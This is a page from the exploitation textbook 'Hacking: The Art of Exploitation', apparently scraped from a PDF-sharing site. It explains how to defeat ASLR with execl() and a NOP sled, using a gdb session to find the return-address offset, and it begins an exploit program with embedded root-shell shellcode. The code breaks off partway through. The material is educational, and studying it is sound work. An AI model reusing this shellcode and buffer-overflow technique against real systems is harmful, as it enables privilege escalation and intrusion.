Hacking - The Art of Exploitation, 2nd Edition

(Romina) #1

390 0x600


The first result looks very promising, but further attempts show that
there is some degree of randomization happening when the new process is
executed with execl(). I’m sure this wasn’t always the case, but the progress
of open source is rather constant. This isn’t much of a problem though, since
we have ways to deal with that partial uncertainty.

0x6c5 Playing the Odds


Using execl() at least limits the randomness and gives us a ballpark address
range. The remaining uncertainty can be handled with a NOP sled. A quick
examination of aslr_demo shows that the overflow buffer needs to be 80 bytes
to overwrite the stored return address on the stack.

reader@hacking:~/booksrc $ gdb -q ./aslr_demo
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run $(perl -e 'print "AAAA"x19. "BBBB"')
Starting program: /home/reader/booksrc/aslr_demo $(perl -e 'print "AAAA"x19. "BBBB"')
buffer is at 0xbfc7d3b0


Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p 20*4
$1 = 80
(gdb) quit
The program is running. Exit anyway? (y or n) y
reader@hacking:~/booksrc $


Since we will probably want a rather large NOP sled, in the following
exploit the NOP sled and the shellcode will be put after the return address
overwrite. This allows us to inject as much of a NOP sled as needed. In this
case, a thousand bytes or so should be sufficient.

aslr_execl_exploit.c


#include <stdio.h>
#include <unistd.h>
#include <string.h>

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80"; // Standard shellcode

int main(int argc, char *argv[]) {
unsigned int i, ret, offset;
char buffer[1000];

printf("i is at %p\n", &i);

if(argc > 1) // Set offset.
offset = atoi(argv[1]);

ret = (unsigned int) &i - offset + 200; // Set return address.
printf("ret addr is %p\n", ret);
Free download pdf